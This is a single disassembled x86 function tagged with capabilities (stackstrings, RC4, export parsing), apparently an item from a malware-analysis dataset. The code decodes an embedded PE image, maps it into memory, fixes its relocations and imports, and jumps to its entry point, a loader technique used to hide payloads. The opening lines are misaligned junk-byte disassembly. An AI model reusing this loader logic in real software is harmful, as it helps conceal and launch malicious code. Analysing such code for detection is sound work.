Function at 0x405983
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
rol byte [eax - 0x3d], 0x81
in al, dx
in al, dx
add byte [eax], al
add byte [ebx + 0x55], dl
push esi
push edi
push 0x78
pop eax
push 0x6b
mov byte [esp + 0x27], al
xor ebx, ebx
pop eax
push 0x65
pop ebp
push 0x72
mov word [esp + 0x68], ax
pop eax
push 0x6e
pop edx
push 0x6c
pop esi
push 0x33
mov word [esp + 0x6c], ax
pop eax
push 0x32
mov word [esp + 0x74], ax
pop eax
push 0x2e
pop edi
push 0x64
pop ecx
push 0x74
mov word [esp + 0x76], ax
xor eax, eax
mov word [esp + 0x80], ax
pop eax
push 0x73
mov word [esp + 0x7a], cx
mov word [esp + 0x58], cx
mov word [esp + 0x60], cx
pop ecx
mov word [esp + 0x52], ax
xor eax, eax
push 0x63
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x34], 0x16b600
mov word [esp + 0x66], ax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
popal
pop eax
add byte [esi - 0x77], ah
dec esp
and al, 0x44
pop ecx
push 0x78
mov word [esp + 0x46], cx
pop ecx
mov word [esp + 0x48], cx
xor ecx, ecx
push ebx
mov word [esp + 0x50], cx
lea ecx, [esp + 0x44]
push ebx
push ecx
mov dword [esp + 0x28], 0x5e4a4158
mov word [esp + 0x2c], 0x4955
mov byte [esp + 0x2e], 0x3f
mov dword [esp + 0x30], 0x714b364a
mov dword [esp + 0x34], 0x254f305a
mov byte [esp + 0x38], bl
mov word [esp + 0x72], bp
mov word [esp + 0x76], dx
mov word [esp + 0x78], bp
mov word [esp + 0x7a], si
mov word [esp + 0x80], di
mov word [esp + 0x84], si
mov word [esp + 0x86], si
mov word [esp + 0x5c], dx
mov word [esp + 0x62], si
mov word [esp + 0x64], si
mov word [esp + 0x66], di
mov word [esp + 0x6a], si
mov word [esp + 0x6c], si
mov word [esp + 0x50], di
mov word [esp + 0x52], bp
mov word [esp + 0x56], bp
call eax
test eax, eax
jne 0x405ab2
xor eax, eax
jmp 0x405d4d
mov ecx, 0x3d0910
mov eax, ebx
mov byte [esp + eax + 0x90], al
inc eax
cmp eax, 0x6a
jb 0x405ab9
dec ecx
jne 0x405ab7
cmp byte [esp + 0xde], 0x4e
jne 0x405aeb
lea ecx, [esp + 0x64]
call fcn.00405dfe
lea ecx, [esp + 0x50]
mov edi, eax
call fcn.00405dfe
mov esi, eax
jmp 0x405af3
mov edi, dword [esp + 0x34]
mov esi, dword [esp + 0x34]
mov edx, 0xd5786
mov ecx, edi
call fcn.00405e30
mov edx, 0x348bfa
mov dword [esp + 0x80], eax
mov ecx, edi
call fcn.00405e30
mov edx, 0x6de540
mov dword [esp + 0x38], eax
mov ecx, esi
call fcn.00405e30
mov edx, 0x3758440
mov ecx, esi
mov ebp, eax
call fcn.00405e30
mov edx, 0x6d92a5e2
mov ecx, esi
mov edi, eax
call fcn.00405e30
push 4
push 0x3000
lea ecx, [esp + 0x38]
push ecx
push ebx
lea ecx, [esp + 0x28]
push ecx
push 0xffffffffffffffff
call eax
test eax, eax
js 0x405aab
mov esi, ebx
cmp dword [esp + 0x30], ebx
jbe 0x405b85
xor edx, edx
mov eax, esi
push 0x11
pop ecx
div ecx
mov eax, dword [esp + 0x18]
mov cl, byte [esp + edx + 0x1c]
xor cl, byte [esi + section._2715]
mov byte [esi + eax], cl
inc esi
cmp esi, dword [esp + 0x30]
jb 0x405b64
mov eax, dword [esp + 0x18]
push ebx
push 0x8000000
push 0x40
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [esp + 0x40], esi
movzx eax, word [esi + 0x14]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x90], ebx
mov eax, dword [esi + 0x50]
mov dword [esp + 0x94], eax
lea eax, [esp + 0x94]
push eax
push ebx
push 0xe
lea eax, [esp + 0x54]
mov dword [esp + 0xa4], ebx
push eax
call ebp
test eax, eax
jns 0x405be0
xor eax, eax
inc eax
jmp 0x405d4d
push 0x40
push ebx
push 2
lea eax, [esp + 0x90]
mov dword [esp + 0x1c], ebx
push eax
push ebx
push ebx
push ebx
lea eax, [esp + 0x2c]
push eax
push 0xffffffffffffffff
push dword [esp + 0x60]
call edi
test eax, eax
js 0x405bd8
mov edi, dword [esi + 0x54]
mov edx, ebx
mov ebp, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
test edi, edi
je 0x405c25
mov al, byte [edx + ebp]
mov byte [edx + ecx], al
inc edx
cmp edx, edi
jb 0x405c16
mov ecx, dword [esp + 0x10]
xor eax, eax
cmp ax, word [esi + 6]
jae 0x405c69
mov edi, dword [esp + 0x14]
add edi, 0x2c
add edi, esi
mov ebp, dword [edi]
mov edx, dword [edi - 8]
mov eax, dword [edi - 4]
add edx, ecx
add ebp, dword [esp + 0x18]
mov dword [esp + 0x14], eax
test eax, eax
je 0x405c5d
sub ebp, edx
mov ecx, eax
mov al, byte [edx + ebp]
mov byte [edx], al
inc edx
dec ecx
jne 0x405c50
mov ecx, dword [esp + 0x10]
movzx eax, word [esi + 6]
inc ebx
add edi, 0x28
cmp ebx, eax
jb 0x405c36
mov eax, dword [esi + 0xa0]
test eax, eax
je 0x405cb8
mov edi, dword [esi + 0xa4]
test edi, edi
je 0x405cb8
lea edx, [eax + ecx]
mov ebx, dword [edx + 4]
lea ebp, [edx + 8]
sub ebx, 8
je 0x405caf
movzx eax, word [ebp]
test eax, 0x3000
je 0x405ca8
and eax, 0xfff
add eax, dword [edx]
add eax, ecx
sub ecx, dword [esi + 0x34]
add dword [eax], ecx
mov ecx, dword [esp + 0x10]
add ebp, 2
dec ebx
dec ebx
jne 0x405c8b
mov eax, dword [edx + 4]
add edx, eax
sub edi, eax
jne 0x405c80
mov edi, dword [esi + 0x80]
add edi, ecx
mov dword [esp + 0x14], edi
mov eax, dword [edi + 0xc]
test eax, eax
je 0x405d2b
lea esi, [eax + ecx]
mov eax, dword [edi]
test eax, eax
jne 0x405cd7
mov eax, dword [edi + 0x10]
mov ebx, dword [edi + 0x10]
lea ebp, [eax + ecx]
mov eax, dword [ebp]
add ebx, ecx
test eax, eax
je 0x405d19
mov edi, dword [esp + 0x80]
jns 0x405cf4
movzx eax, ax
jmp 0x405cf9
add eax, 2
add eax, ecx
push eax
push esi
call edi
push eax
call dword [esp + 0x40]
add ebp, 4
mov dword [ebx], eax
mov ecx, dword [esp + 0x10]
add ebx, 4
mov eax, dword [ebp]
test eax, eax
jne 0x405ced
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0x20]
add edi, 0x14
mov dword [esp + 0x14], edi
test eax, eax
jne 0x405ccb
mov esi, dword [esp + 0x34]
call fcn.00405d58
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
mov dword [ecx + 0x18], eax
mov eax, dword [esi + 0x28]
add eax, dword [esp + 0x10]
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xec
ret